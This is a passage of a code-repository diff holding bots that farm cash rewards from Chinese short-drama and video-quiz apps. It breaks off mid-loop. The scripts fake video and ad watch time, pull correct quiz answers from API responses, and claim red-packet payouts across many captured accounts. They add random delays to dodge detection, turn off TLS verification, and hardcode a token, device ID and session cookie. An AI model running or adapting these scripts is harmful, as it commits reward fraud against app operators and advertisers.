const timestamp = Date.now()
|
||||
const timestamp2 = Math.floor(timestamp / 1000)
|
||||
this.headers['X-SCDN-Req-Token'] = this.getXSCDNReqToken(timestamp2, url)
|
||||
this.headers['checksum'] = this.getChecksum(timestamp, this.getParams(data));
|
||||
this.headers['Timestamp'] = timestamp
|
||||
this.headers['seqID'] = timestamp
|
||||
this.headers['Sign'] = this.getSign(timestamp)
|
||||
const config = {
|
||||
url: url,
|
||||
method: 'POST',
|
||||
headers: this.headers,
|
||||
data: data
|
||||
}
|
||||
const res = await axios(config)
|
||||
return res.data
|
||||
} catch (e) {
|
||||
throw `获取余额出错了,${e}`
|
||||
}
|
||||
}
|
||||
|
||||
|
||||
randomTime(time = 30) {
|
||||
return this.getRandomInt(time - 5, time + 5)
|
||||
}
|
||||
|
||||
async main() {
|
||||
await this.play()
|
||||
if (this.isInMealTime() == true)
|
||||
await this.diningCheckIn()
|
||||
await this.query()
|
||||
}
|
||||
|
||||
isInMealTime() {
|
||||
const now = new Date();
|
||||
|
||||
const currentHour = now.getHours();
|
||||
const currentMinute = now.getMinutes();
|
||||
const currentTime = currentHour * 60 + currentMinute;
|
||||
const mealTimes = [
|
||||
{ start: 7 * 60 + 30, end: 8 * 60 + 30 }, // 07:30 - 08:30
|
||||
{ start: 11 * 60 + 30, end: 12 * 60 + 30 }, // 11:30 - 12:30
|
||||
{ start: 17 * 60 + 30, end: 18 * 60 + 30 }, // 17:30 - 18:30
|
||||
{ start: 22 * 60 + 30, end: 23 * 60 + 30 } // 22:30 - 23:30
|
||||
];
|
||||
|
||||
return mealTimes.some(time => {
|
||||
return currentTime >= time.start && currentTime <= time.end;
|
||||
});
|
||||
}
|
||||
async sleep(ms) {
|
||||
return new Promise(resolve => setTimeout(resolve, ms));
|
||||
}
|
||||
getRandomInt(min, max) {
|
||||
if (min > max) throw new Error("min 不能大于 max");
|
||||
min = Math.ceil(min);
|
||||
max = Math.floor(max);
|
||||
return Math.floor(Math.random() * (max - min + 1)) + min;
|
||||
}
|
||||
|
||||
sendMessage(message) {
|
||||
console.log(`账号[${this.index + 1}] ${message}`);
|
||||
}
|
||||
}
|
||||
|
||||
//获取环境变量
|
||||
function checkEnv(userCookie) {
|
||||
try {
|
||||
const envSplitor = ["&", "\n"];
|
||||
//console.log(userCookie);
|
||||
let userList = userCookie
|
||||
.split(envSplitor.find((o) => userCookie.includes(o)) || "&")
|
||||
.filter((n) => n);
|
||||
if (!userList || userList.length === 0) {
|
||||
console.log("没配置环境变量就要跑脚本啊!!!");
|
||||
console.log("🔔还没开始已经结束!");
|
||||
process.exit(1);
|
||||
}
|
||||
|
||||
console.log(`共找到${userList.length}个账号`);
|
||||
return userList;
|
||||
} catch (e) {
|
||||
console.log("环境变量格式错误,下面是报错信息")
|
||||
console.log(e);
|
||||
}
|
||||
}
|
||||
|
||||
|
||||
!(async function () {
|
||||
console.log("富豪短剧开始运行");
|
||||
const tokens = checkEnv(process.env['wqwl_fhdj']);
|
||||
const tasks = tokens.map(token => new Task(token).main());
|
||||
await Promise.all(tasks); // 所有任务并发执行
|
||||
console.log("全部任务已完成!");
|
||||
})();
|
||||
328
现金毛/小丽1.2.py
Normal file
328
现金毛/小丽1.2.py
Normal file
@@ -0,0 +1,328 @@
|
||||
import time
|
||||
import os
|
||||
import requests
|
||||
import json
|
||||
import numpy as np
|
||||
import urllib3
|
||||
from datetime import datetime
|
||||
|
||||
################################################################################################
|
||||
# 1.修复第一期因为时间太短而报错
|
||||
# 2.优化部分代码
|
||||
|
||||
# 由 风华正太D猫 原脚本修改
|
||||
#本脚本优点:多个账号在同一个群时,只需要修改XL_ID即可,原脚本每个号都需要修改活动id,你问我在不同群怎么办,那就用原脚本喽,另外原脚本环境变量设置有点问题
|
||||
# 客服微信:yyttgi ,,,XL_ID每天都得改,不然运行不了
|
||||
# 添加环境变量
|
||||
# 抓包链接:https://fw1537.h5.sagx.net/detail.html?id=364f160eed5e4b404f2113a347c6a1af id=后面的不同,抓fw1537.h5.sagx.net的就行,抓不到cookie或者openid请刷新网页!!!
|
||||
# ------------ 必填配置(三个注意大小写) ------------
|
||||
# XL_HOST="api.h5.sagx.net" 应该是这个具体看你的群里发的链接,不要https,只要域名
|
||||
# XL_ID="364f160eed5e4b404f2113a347c6a1af" id=,只要=后面的
|
||||
# xlwy="wx_openid1#主账号&wx_openid2#测试账号" 抓包链接抓cookie中的O=,只要=后面的
|
||||
# 抓不到cookie或者openid请刷新网页!!!
|
||||
# 示例抓包图 https://img.vki.im/file/1747740497098_image_1747740493580.jpg
|
||||
# 如果真的是看了图还不会,再说话吧
|
||||
################################################################################################
|
||||
|
||||
COLOR = {
|
||||
"RED": "\033[38;5;124m",
|
||||
"GREEN": "\033[38;5;22m",
|
||||
"BLUE": "\033[38;5;19m",
|
||||
"YELLOW": "\033[38;5;130m",
|
||||
"CYAN": "\033[38;5;23m",
|
||||
"BOLD": "\033[1m",
|
||||
"END": "\033[0m"
|
||||
}
|
||||
|
||||
def log_info(msg, emoji="ℹ️"):
|
||||
print(f"{COLOR['BLUE']}[{datetime.now().strftime('%H:%M:%S')}] {emoji} INFO - {msg}{COLOR['END']}")
|
||||
|
||||
def log_success(msg, emoji="✅"):
|
||||
print(f"{COLOR['GREEN']}[{datetime.now().strftime('%H:%M:%S')}] {emoji} SUCCESS - {msg}{COLOR['END']}")
|
||||
|
||||
def log_warning(msg, emoji="⚠️"):
|
||||
print(f"{COLOR['YELLOW']}[{datetime.now().strftime('%H:%M:%S')}] {emoji} WARN - {msg}{COLOR['END']}")
|
||||
|
||||
def log_error(msg, emoji="❌"):
|
||||
print(f"{COLOR['RED']}[{datetime.now().strftime('%H:%M:%S')}] {emoji} ERROR - {msg}{COLOR['END']}")
|
||||
|
||||
def log_debug(data, emoji="🐛"):
|
||||
print(f"{COLOR['CYAN']}[{datetime.now().strftime('%H:%M:%S')}] {emoji} DEBUG - 响应数据:\n{json.dumps(data, indent=2, ensure_ascii=False)}{COLOR['END']}")
|
||||
|
||||
urllib3.disable_warnings(urllib3.exceptions.InsecureRequestWarning)
|
||||
|
||||
class AccountResult:
|
||||
def __init__(self):
|
||||
self.total_accounts = 0
|
||||
self.success_count = 0
|
||||
self.fail_count = 0
|
||||
self.rewards = {}
|
||||
self.details = {}
|
||||
|
||||
def add_success(self, wx_openid, remark, reward):
|
||||
self.success_count += 1
|
||||
self.rewards[wx_openid] = reward
|
||||
self.details[wx_openid] = {'remark': remark, 'reward': reward, 'status': '成功'}
|
||||
|
||||
def add_fail(self, wx_openid, remark):
|
||||
self.fail_count += 1
|
||||
self.rewards[wx_openid] = 0.0
|
||||
self.details[wx_openid] = {'remark': remark, 'reward': 0.0, 'status': '失败'}
|
||||
|
||||
def total_reward(self):
|
||||
return sum(self.rewards.values())
|
||||
|
||||
class Config:
|
||||
def __init__(self):
|
||||
self.XL_HOST = os.getenv("XL_HOST")
|
||||
self.XL_ID = os.getenv("XL_ID")
|
||||
self.XL_USER_LIST = os.getenv("xlwy", "").split("&")
|
||||
self.XL_MIN_SEGMENT = int(os.getenv("XL_MIN_SEGMENT", "300"))
|
||||
self.XL_MAX_SEGMENT = int(os.getenv("XL_MAX_SEGMENT", "1800"))
|
||||
self.XL_TIMEOUT = int(os.getenv("XL_TIMEOUT", "15"))
|
||||
self.XL_RETRY = int(os.getenv("XL_RETRY", "3"))
|
||||
self.XL_DELAY_MIN = int(os.getenv("XL_DELAY_MIN", "5")) # 新增最小延迟
|
||||
self.XL_DELAY_MAX = int(os.getenv("XL_DELAY_MAX", "15")) # 新增最大延迟
|
||||
|
||||
def validate_config(cfg):
|
||||
errors = []
|
||||
if not cfg.XL_HOST: errors.append("XL_HOST 未配置")
|
||||
if not cfg.XL_ID: errors.append("XL_ID 未配置")
|
||||
if not cfg.XL_USER_LIST or any(len(u.split('#')) != 2 for u in cfg.XL_USER_LIST):
|
||||
errors.append("xlwy 格式错误,应为 wx_openid#备注")
|
||||
if cfg.XL_DELAY_MIN > cfg.XL_DELAY_MAX:
|
||||
errors.append("延迟范围配置错误(MIN > MAX)")
|
||||
return errors
|
||||
|
||||
def random_delay(min_sec=0.5, max_sec=2.0):
|
||||
"""生成随机延迟"""
|
||||
delay = np.random.uniform(min_sec, max_sec)
|
||||
time.sleep(delay)
|
||||
return delay
|
||||
|
||||
def parse_video_time(time_str):
|
||||
try:
|
||||
hms, _ = time_str.split('.')
|
||||
hours, mins, secs = hms.split(':')
|
||||
return int(hours)*3600 + int(mins)*60 + int(secs)
|
||||
except:
|
||||
log_warning(f"视频时长解析失败,使用默认值1小时")
|
||||
return 3600
|
||||
|
||||
def simulate_watch_time(headers, user_activity_id, xlhost, cfg, video_time):
|
||||
log_info(f"🎬 视频实际时长: {video_time//60}分{video_time%60}秒")
|
||||
|
||||
segments = []
|
||||
remaining = video_time
|
||||
|
||||
# 分段逻辑保持不变
|
||||
while remaining > 0:
|
||||
max_seg = min(cfg.XL_MAX_SEGMENT, remaining)
|
||||
min_seg_candidate = max(cfg.XL_MIN_SEGMENT, remaining // 3)
|
||||
min_seg = min(min_seg_candidate, max_seg)
|
||||
|
||||
if min_seg >= max_seg:
|
||||
segment = max_seg
|
||||
else:
|
||||
if max_seg - min_seg <= 0:
|
||||
segment = max_seg
|
||||
else:
|
||||
segment = np.random.randint(min_seg, max_seg + 1)
|
||||
|
||||
segments.append(segment)
|
||||
remaining -= segment
|
||||
|
||||
if len(segments) >=2 and remaining < cfg.XL_MIN_SEGMENT:
|
||||
segments[-1] += remaining
|
||||
remaining = 0
|
||||
|
||||
if len(segments) > 1:
|
||||
first = segments.pop(0)
|
||||
np.random.shuffle(segments)
|
||||
segments.insert(0, first)
|
||||
|
||||
for idx, sec in enumerate(segments, 1):
|
||||
for attempt in range(cfg.XL_RETRY):
|
||||
try:
|
||||
# 添加分段上报前的随机延迟
|
||||
if idx > 1:
|
||||
d = random_delay(0.3, 1.2)
|
||||
log_debug(f"分段上报前延迟: {d:.2f}秒")
|
||||
|
||||
res = requests.post(
|
||||
f"https://{xlhost}/api-user/v1/activityWatchVideo",
|
||||
json={"userActivityId": user_activity_id, "second": sec},
|
||||
headers=headers,
|
||||
verify=False,
|
||||
timeout=cfg.XL_TIMEOUT
|
||||
)
|
||||
if res.json().get("status") == "success":
|
||||
log_info(f" 第{idx}次上报 | 时长: {sec//60}分{sec%60}秒 | 累计: {sum(segments[:idx])//60}分")
|
||||
break
|
||||
else:
|
||||
log_warning(f"上报失败: {res.json().get('message')} | 第{attempt+1}次重试")
|
||||
except Exception as e:
|
||||
log_warning(f"网络异常: {str(e)} | 第{attempt+1}次重试")
|
||||
time.sleep(np.random.uniform(0.5, 1.5))
|
||||
|
||||
return video_time
|
||||
|
||||
def main():
|
||||
cfg = Config()
|
||||
if errors := validate_config(cfg):
|
||||
for err in errors: log_error(err)
|
||||
exit()
|
||||
|
||||
result = AccountResult()
|
||||
result.total_accounts = len(cfg.XL_USER_LIST)
|
||||
|
||||
log_info(f"{COLOR['BOLD']}🚀 脚本启动 | 域名: {cfg.XL_HOST} | 课程ID: {cfg.XL_ID}{COLOR['END']}")
|
||||
log_info(f"📊 待处理账号: {result.total_accounts} 个")
|
||||
log_info(f"⏱️ 账号间延迟: {cfg.XL_DELAY_MIN}-{cfg.XL_DELAY_MAX}秒")
|
||||
|
||||
for idx, user in enumerate(cfg.XL_USER_LIST, 1):
|
||||
wx_openid, remark = user.split('#')
|
||||
current_reward = 0.0
|
||||
log_info(f"\n{COLOR['BOLD']}🔢 处理进度: {idx}/{result.total_accounts} [账号尾号: {wx_openid[-4:]}] [备注: {remark}]{COLOR['END']}")
|
||||
|
||||
try:
|
||||
headers = {
|
||||
"Host": cfg.XL_HOST,
|
||||
"User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36...",
|
||||
"Content-Type": "application/json",
|
||||
"Referer": f"https://{cfg.XL_HOST}/activity/index.html?id={cfg.XL_ID}&code=0&state=STATE"
|
||||
}
|
||||
|
||||
# Token获取
|
||||
token = None
|
||||
for retry in range(cfg.XL_RETRY):
|
||||
try:
|
||||
token_res = requests.post(
|
||||
f"https://{cfg.XL_HOST}/api-user/v2/getToken",
|
||||
headers=headers,
|
||||
json={"wx_openid": wx_openid, "id": cfg.XL_ID},
|
||||
verify=False,
|
||||
timeout=cfg.XL_TIMEOUT
|
||||
)
|
||||
token_data = token_res.json()
|
||||
if token_res.status_code == 200 and token_data.get("status") == "success":
|
||||
token = token_data["data"]["token"]
|
||||
headers["Authorization"] = f"Bearer {token}"
|
||||
log_success(f"🔑 Token获取成功 ({token[:6]}***)")
|
||||
# Token获取后延迟
|
||||
d = random_delay(1.0, 3.0)
|
||||
log_debug(f"Token获取后延迟: {d:.2f}秒")
|
||||
break
|
||||
else:
|
||||
log_error(f"Token错误: {token_data.get('message', '未知错误')}")
|
||||
except Exception as e:
|
||||
log_warning(f"Token请求异常: {str(e)}")
|
||||
if retry < cfg.XL_RETRY - 1:
|
||||
time.sleep(2)
|
||||
if not token:
|
||||
result.add_fail(wx_openid, remark)
|
||||
continue
|
||||
|
||||
# 获取活动详情前延迟
|
||||
random_delay(0.5, 1.5)
|
||||
detail_res = requests.get(
|
||||
f"https://{cfg.XL_HOST}/api-user/v2/activityDetatil",
|
||||
headers=headers,
|
||||
params={"id": cfg.XL_ID, "withMaterial": "1"},
|
||||
verify=False,
|
||||
timeout=cfg.XL_TIMEOUT
|
||||
)
|
||||
detail_data = detail_res.json()
|
||||
|
||||
if detail_res.status_code != 200 or "data" not in detail_data:
|
||||
log_error(f"活动详情获取失败 HTTP {detail_res.status_code}")
|
||||
result.add_fail(wx_openid, remark)
|
||||
continue
|
||||
|
||||
# 解析视频信息
|
||||
video_time_str = detail_data["data"]["media"]["media_v_time"]
|
||||
video_total_sec = parse_video_time(video_time_str)
|
||||
|
||||
# 解析答案
|
||||
questions = detail_data["data"]["materialDetail"].get("questions", [])
|
||||
answer_keys = []
|
||||
for q_idx, question in enumerate(questions, 1):
|
||||
answers = question.get("answer", [])
|
||||
correct_index = next((i for i, a in enumerate(answers) if a.get("result") == "1"), None)
|
||||
if correct_index is None:
|
||||
log_error(f"第{q_idx}题未找到正确答案")
|
||||
answer_keys = []
|
||||
break
|
||||
answer_keys.append(f"{q_idx-1}_{correct_index}")
|
||||
log_success(f"第{q_idx}题答案: 选项[{correct_index}] {answers[correct_index].get('item')}")
|
||||
|
||||
if not answer_keys:
|
||||
result.add_fail(wx_openid, remark)
|
||||
continue
|
||||
|
||||
# 上报观影时间
|
||||
user_activity_id = detail_data["meta"]["joinInfo"]["userActivityId"]
|
||||
total_time = simulate_watch_time(headers, user_activity_id, cfg.XL_HOST, cfg, video_total_sec)
|
||||
|
||||
# 完成观影后延迟
|
||||
d = random_delay(0.5, 2.0)
|
||||
log_debug(f"观影完成延迟: {d:.2f}秒")
|
||||
over_res = requests.post(
|
||||
f"https://{cfg.XL_HOST}/api-user/v1/activityWatchVideoOver",
|
||||
json={"userActivityId": user_activity_id},
|
||||
headers=headers,
|
||||
verify=False
|
||||
)
|
||||
log_success(f"✅ 观影完成 | 总时长: {total_time//60}分{total_time%60}秒")
|
||||
|
||||
# 领取奖励前延迟
|
||||
random_delay(1.0, 2.0)
|
||||
reward_res = requests.post(
|
||||
f"https://{cfg.XL_HOST}/api-user/v1/receiveAwardAndWatchOver",
|
||||
headers=headers,
|
||||
data=json.dumps({
|
||||
"activity_id": detail_data["data"]["activity_id"],
|
||||
"answers": answer_keys
|
||||
}, separators=(',', ':'))
|
||||
)
|
||||
reward_data = reward_res.json()
|
||||
|
||||
if reward_data.get("status") in ["success", "领取成功"] or reward_data.get("status_code") == 200:
|
||||
current_reward = float(reward_data["data"].get("red_money", 0))
|
||||
result.add_success(wx_openid, remark, current_reward)
|
||||
log_success(f"💰 实际到账: ¥{current_reward:.2f}")
|
||||
else:
|
||||
result.add_fail(wx_openid, remark)
|
||||
log_error(f"领取失败: {reward_data.get('message', '未知错误')}")
|
||||
|
||||
except Exception as e:
|
||||
result.add_fail(wx_openid, remark)
|
||||
log_error(f"处理异常: {str(e)}")
|
||||
|
||||
# 账号间随机延迟
|
||||
delay = np.random.randint(cfg.XL_DELAY_MIN, cfg.XL_DELAY_MAX + 1)
|
||||
log_info(f"⏸️ 随机延迟 {delay} 秒(范围: {cfg.XL_DELAY_MIN}-{cfg.XL_DELAY_MAX})...")
|
||||
time.sleep(delay)
|
||||
|
||||
# 结果汇总
|
||||
log_info(f"\n{COLOR['BOLD']}📈 执行汇总 {COLOR['END']}")
|
||||
log_info(f" 账号总数: {result.total_accounts}")
|
||||
log_success(f" 成功数量: {result.success_count}")
|
||||
if result.fail_count > 0:
|
||||
log_error(f" 失败数量: {result.fail_count}")
|
||||
else:
|
||||
log_info(f" 失败数量: 0")
|
||||
log_success(f" 累计总收益: ¥{result.total_reward():.2f}")
|
||||
|
||||
log_info(f"\n{COLOR['BOLD']}📋 账号明细 {COLOR['END']}")
|
||||
for wx_openid, info in result.details.items():
|
||||
status_color = COLOR['GREEN'] if info['status'] == '成功' else COLOR['RED']
|
||||
log_info(
|
||||
f" OpenID尾号: {wx_openid[-4:]} | "
|
||||
f"备注: {info['remark']} | "
|
||||
f"状态: {status_color}{info['status']}{COLOR['END']} | "
|
||||
f"收益: ¥{info['reward']:.2f}"
|
||||
)
|
||||
|
||||
if __name__ == "__main__":
|
||||
main()
|
||||
359
现金毛/牛牛短剧.py
Normal file
359
现金毛/牛牛短剧.py
Normal file
@@ -0,0 +1,359 @@
|
||||
import requests
|
||||
import random
|
||||
import time
|
||||
import json
|
||||
import threading
|
||||
from queue import Queue
|
||||
|
||||
|
||||
#牛牛短剧APP 抓包抓token和deviceId值填到下方运行即可。
|
||||
# 多用户配置列表
|
||||
USERS = [
|
||||
{
|
||||
"token": "XpmJF7eh8F8NeWB63w8reEiu",
|
||||
"deviceId": "74315e49cbc043ae8",
|
||||
"name": "账号1"
|
||||
}#,
|
||||
#{
|
||||
#"token": "CLZ4P2GnLlnNDH4=",
|
||||
#"deviceId": "def6e6202c256273",
|
||||
#"name": "账号2"
|
||||
#}
|
||||
# 可以按上面格式添加更多用户...
|
||||
]
|
||||
|
||||
# 基础配置
|
||||
BASE_URL = 'https://new.tianjinzhitongdaohe.com/api/v1/app'
|
||||
COMMON_DATA = {"pageSize": "15"}
|
||||
|
||||
class UserSession:
|
||||
"""用户会话类,封装单个用户的所有操作"""
|
||||
def __init__(self, user_config):
|
||||
self.name = user_config["name"]
|
||||
self.token = user_config["token"]
|
||||
self.deviceId = user_config["deviceId"]
|
||||
self.headers = self._create_headers()
|
||||
self.last_treasure_time = 0
|
||||
|
||||
def _create_headers(self):
|
||||
"""创建用户特定的请求头"""
|
||||
return {
|
||||
'User-Agent': 'niu niu duan ju/1.5.8 (iPhone; iOS 16.6; Scale/3.00)',
|
||||
'Content-Type': 'application/json',
|
||||
'deviceType': 'iOS',
|
||||
'Accept-Language': 'zh-Hans-CN;q=1',
|
||||
'token': self.token,
|
||||
'deviceId': self.deviceId,
|
||||
'client': 'app',
|
||||
'Cookie': 'JSESSIONID=767F1CFB5FB471A4F2871314C74F14B6'
|
||||
}
|
||||
|
||||
def make_request(self, url, data=None, method='POST', params=None):
|
||||
"""通用请求函数"""
|
||||
try:
|
||||
if method == 'POST':
|
||||
response = requests.post(url, headers=self.headers, json=data, params=params)
|
||||
else:
|
||||
response = requests.get(url, headers=self.headers, params=params)
|
||||
|
||||
if response.status_code == 200:
|
||||
return response.json()
|
||||
else:
|
||||
print(f"[{self.name}] 请求失败,状态码: {response.status_code}")
|
||||
return None
|
||||
except Exception as e:
|
||||
print(f"[{self.name}] 请求异常: {str(e)}")
|
||||
return None
|
||||
|
||||
def sign_in(self):
|
||||
"""每日签到"""
|
||||
url = f'{BASE_URL}/welfare/sign'
|
||||
return self.make_request(url, data=COMMON_DATA)
|
||||
|
||||
def check_repair_sign(self):
|
||||
"""检查补签需求"""
|
||||
url = f'{BASE_URL}/welfare/list'
|
||||
return self.make_request(url, data=COMMON_DATA)
|
||||
|
||||
def repair_sign(self, config_id):
|
||||
"""执行补签"""
|
||||
time.sleep(5)
|
||||
url = f'{BASE_URL}/welfare/repairSign?configId={config_id}'
|
||||
return self.make_request(url, data=COMMON_DATA)
|
||||
|
||||
def watch_ad(self, times=20, interval=5):
|
||||
"""看视频领金币"""
|
||||
results = []
|
||||
data = {
|
||||
"adId": "58274289-127E-48FF-910F-9B96118908F3u2283",
|
||||
"pageSize": "15"
|
||||
}
|
||||
|
||||
for i in range(times):
|
||||
url = f'{BASE_URL}/welfare/watchAd'
|
||||
result = self.make_request(url, data=data)
|
||||
results.append(result)
|
||||
|
||||
if i < times - 1:
|
||||
time.sleep(interval)
|
||||
|
||||
return results
|
||||
|
||||
def watch_drama(self):
|
||||
"""看短剧领金币"""
|
||||
url = f'{BASE_URL}/play/historyMovie'
|
||||
data = {
|
||||
"id": 77834,
|
||||
"typeId": "S1",
|
||||
"watchDuration": 3600,
|
||||
"pageSize": "15",
|
||||
"episode": ""
|
||||
}
|
||||
return self.make_request(url, data=data)
|
||||
|
||||
def sign_eat(self):
|
||||
"""吃饭看剧补贴"""
|
||||
url = f'{BASE_URL}/welfare/signEat'
|
||||
return self.make_request(url, data=COMMON_DATA)
|
||||
|
||||
def repair_sign_eat(self, config_id):
|
||||
"""吃饭看剧补领"""
|
||||
time.sleep(5)
|
||||
url = f'{BASE_URL}/welfare/repairSignEat?configId={config_id}'
|
||||
return self.make_request(url, data=COMMON_DATA)
|
||||
|
||||
def open_treasure(self):
|
||||
"""开宝箱"""
|
||||
url = f'{BASE_URL}/welfare/treasureOpen'
|
||||
return self.make_request(url, data=COMMON_DATA)
|
||||
|
||||
def new_user_seven(self):
|
||||
"""新用户奖励"""
|
||||
url = f'{BASE_URL}/welfare/newUserSeven'
|
||||
return self.make_request(url, data=COMMON_DATA)
|
||||
|
||||
def praise_movie(self, times=2):
|
||||
"""点赞剧集"""
|
||||
results = []
|
||||
for _ in range(times):
|
||||
url = f'{BASE_URL}/play/praiseMovie'
|
||||
data = {
|
||||
"movieId": random.randint(1, 70000),
|
||||
"typeId": "S1",
|
||||
"episodeIndex": 0,
|
||||
"source": 0,
|
||||
"pageSize": "15",
|
||||
"action": "1"
|
||||
}
|
||||
results.append(self.make_request(url, data=data))
|
||||
return results
|
||||
|
||||
def collect_movie(self, times=2):
|
||||
"""收藏剧集"""
|
||||
results = []
|
||||
for _ in range(times):
|
||||
url = f'{BASE_URL}/play/collectMovie'
|
||||
data = {
|
||||
"id": random.randint(1, 70000),
|
||||
"typeId": "S1",
|
||||
"pageSize": "15",
|
||||
"action": "1"
|
||||
}
|
||||
results.append(self.make_request(url, data=data))
|
||||
return results
|
||||
|
||||
def share_movie(self, times=2):
|
||||
"""分享剧集"""
|
||||
results = []
|
||||
for _ in range(times):
|
||||
time.sleep(3)
|
||||
movie_id = random.randint(1, 70000)
|
||||
url = f'{BASE_URL}/welfare/addShare?typeId=S1&movieId={movie_id}'
|
||||
results.append(self.make_request(url, data=COMMON_DATA))
|
||||
return results
|
||||
|
||||
def process_sign_repair(self, check_result):
|
||||
"""处理签到补签逻辑"""
|
||||
if not check_result or 'data' not in check_result:
|
||||
print(f"[{self.name}] 未获取到有效的补签检查结果")
|
||||
return
|
||||
|
||||
# 查找每日签到任务
|
||||
sign_task = None
|
||||
for task in check_result['data']:
|
||||
if task.get('flag') == 'SIGN':
|
||||
sign_task = task
|
||||
break
|
||||
|
||||
if sign_task and 'taskList' in sign_task:
|
||||
for task_item in sign_task['taskList']:
|
||||
if task_item.get('isDone') is False:
|
||||
config_id = task_item.get('configId')
|
||||
if config_id:
|
||||
print(f"[{self.name}] 发现需要补签的任务: {task_item.get('number')}天")
|
||||
repair_result = self.repair_sign(config_id)
|
||||
if repair_result and repair_result.get('code') == 200:
|
||||
print(f"[{self.name}] 补签成功 (configId={config_id}): {repair_result.get('msg')}")
|
||||
else:
|
||||
print(f"[{self.name}] 补签失败 (configId={config_id}): {repair_result.get('msg') if repair_result else '未知错误'}")
|
||||
else:
|
||||
print(f"[{self.name}] 未找到有效的configId")
|
||||
|
||||
def process_eat_repair(self, check_result):
|
||||
"""处理吃饭看剧补贴补领逻辑"""
|
||||
if not check_result or 'data' not in check_result:
|
||||
print(f"[{self.name}] 未获取到有效的补签检查结果")
|
||||
return
|
||||
|
||||
# 查找吃饭看剧补贴任务
|
||||
eat_task = None
|
||||
for task in check_result['data']:
|
||||
if task.get('flag') == 'WATCH_EAT_COIN':
|
||||
eat_task = task
|
||||
break
|
||||
|
||||
if eat_task and 'taskList' in eat_task:
|
||||
for task_item in eat_task['taskList']:
|
||||
if task_item.get('isDone') is False and task_item.get('isReceive') is False:
|
||||
config_id = task_item.get('configId')
|
||||
if config_id:
|
||||
print(f"[{self.name}] 发现需要补领的吃饭看剧补贴任务: 时段{task_item.get('number')}")
|
||||
repair_result = self.repair_sign_eat(config_id)
|
||||
if repair_result and repair_result.get('code') == 200:
|
||||
print(f"[{self.name}] 吃饭补贴补领成功 (configId={config_id}): {repair_result.get('msg')}")
|
||||
else:
|
||||
print(f"[{self.name}] 吃饭补贴补领失败 (configId={config_id}): {repair_result.get('msg') if repair_result else '未知错误'}")
|
||||
else:
|
||||
print(f"[{self.name}] 未找到有效的configId")
|
||||
|
||||
def auto_sign(self):
|
||||
"""自动签到完整流程"""
|
||||
print(f"[{self.name}] {'='*50}")
|
||||
print(f"[{self.name}] 开始执行自动签到任务")
|
||||
print(f"[{self.name}] {'='*50}")
|
||||
|
||||
# 1. 执行签到
|
||||
print(f"[{self.name}] >>> 执行每日签到")
|
||||
sign_result = self.sign_in()
|
||||
if sign_result and sign_result.get('code') == 200:
|
||||
print(f"[{self.name}] 签到成功: {sign_result.get('msg')}")
|
||||
else:
|
||||
print(f"[{self.name}] 签到失败: {sign_result.get('msg') if sign_result else '请求失败'}")
|
||||
|
||||
# 2. 检查补签需求
|
||||
print(f"[{self.name}] >>> 检查补签需求")
|
||||
check_result = self.check_repair_sign()
|
||||
|
||||
# 3. 处理签到补签
|
||||
if check_result and check_result.get('code') == 200:
|
||||
print(f"[{self.name}] 补签检查结果获取成功")
|
||||
self.process_sign_repair(check_result)
|
||||
self.process_eat_repair(check_result)
|
||||
else:
|
||||
print(f"[{self.name}] 补签检查失败: {check_result.get('msg') if check_result else '请求失败'}")
|
||||
|
||||
# 4. 看视频领金币
|
||||
print(f"[{self.name}] >>> 开始看视频领金币 (20次)")
|
||||
ad_results = self.watch_ad(times=20, interval=5)
|
||||
success_count = sum(1 for r in ad_results if r and r.get('code') == 200)
|
||||
print(f"[{self.name}] 看视频完成: 成功 {success_count}/20 次")
|
||||
|
||||
# 5. 看短剧
|
||||
print(f"[{self.name}] >>> 看短剧领金币")
|
||||
drama_result = self.watch_drama()
|
||||
if drama_result and drama_result.get('code') == 200:
|
||||
print(f"[{self.name}] 看短剧成功: {drama_result.get('msg')}")
|
||||
else:
|
||||
print(f"[{self.name}] 看短剧失败: {drama_result.get('msg') if drama_result else '请求失败'}")
|
||||
|
||||
# 6. 吃饭补贴
|
||||
print(f"[{self.name}] >>> 吃饭看剧补贴")
|
||||
eat_result = self.sign_eat()
|
||||
if eat_result and eat_result.get('code') == 200:
|
||||
print(f"[{self.name}] 吃饭补贴成功: {eat_result.get('msg')}")
|
||||
else:
|
||||
print(f"[{self.name}] 吃饭补贴失败: {eat_result.get('msg') if eat_result else '请求失败'}")
|
||||
|
||||
# 7. 开宝箱
|
||||
print(f"[{self.name}] >>> 开启宝箱")
|
||||
treasure_result = self.open_treasure()
|
||||
if treasure_result and treasure_result.get('code') == 200:
|
||||
print(f"[{self.name}] 宝箱开启成功: {treasure_result.get('msg')}")
|
||||
else:
|
||||
print(f"[{self.name}] 宝箱开启失败: {treasure_result.get('msg') if treasure_result else '请求失败'}")
|
||||
self.last_treasure_time = time.time()
|
||||
|
||||
# 8. 新用户奖励
|
||||
print(f"[{self.name}] >>> 新用户奖励")
|
||||
new_user_result = self.new_user_seven()
|
||||
if new_user_result and new_user_result.get('code') == 200:
|
||||
print(f"[{self.name}] 新用户奖励成功: {new_user_result.get('msg')}")
|
||||
else:
|
||||
print(f"[{self.name}] 新用户奖励失败: {new_user_result.get('msg') if new_user_result else '请求失败'}")
|
||||
|
||||
# 9. 点赞
|
||||
print(f"[{self.name}] >>> 点赞剧集 (2次)")
|
||||
praise_results = self.praise_movie(times=2)
|
||||
success_count = sum(1 for r in praise_results if r and r.get('code') == 200)
|
||||
print(f"[{self.name}] 点赞完成: 成功 {success_count}/2 次")
|
||||
|
||||
# 10. 收藏
|
||||
print(f"[{self.name}] >>> 收藏剧集 (2次)")
|
||||
collect_results = self.collect_movie(times=2)
|
||||
success_count = sum(1 for r in collect_results if r and r.get('code') == 200)
|
||||
print(f"[{self.name}] 收藏完成: 成功 {success_count}/2 次")
|
||||
|
||||
# 11. 分享
|
||||
print(f"[{self.name}] >>> 分享剧集 (2次)")
|
||||
share_results = self.share_movie(times=2)
|
||||
success_count = sum(1 for r in share_results if r and r.get('code') == 200)
|
||||
print(f"[{self.name}] 分享完成: 成功 {success_count}/2 次")
|
||||
|
||||
print(f"[{self.name}] " + "="*50)
|
||||
print(f"[{self.name}] 自动签到任务执行完毕")
|
||||
print(f"[{self.name}] " + "="*50)
|
||||
|
||||
def user_worker(user_config):
|
||||
"""用户任务线程函数"""
|
||||
user = UserSession(user_config)
|
||||
|
||||
# 执行主签到任务
|
||||
user.auto_sign()
|
||||
|
||||
# 持续执行宝箱任务
|
||||
while True:
|
||||
current_time = time.time()
|
||||
if current_time - user.last_treasure_time >= 185: # 3分钟
|
||||
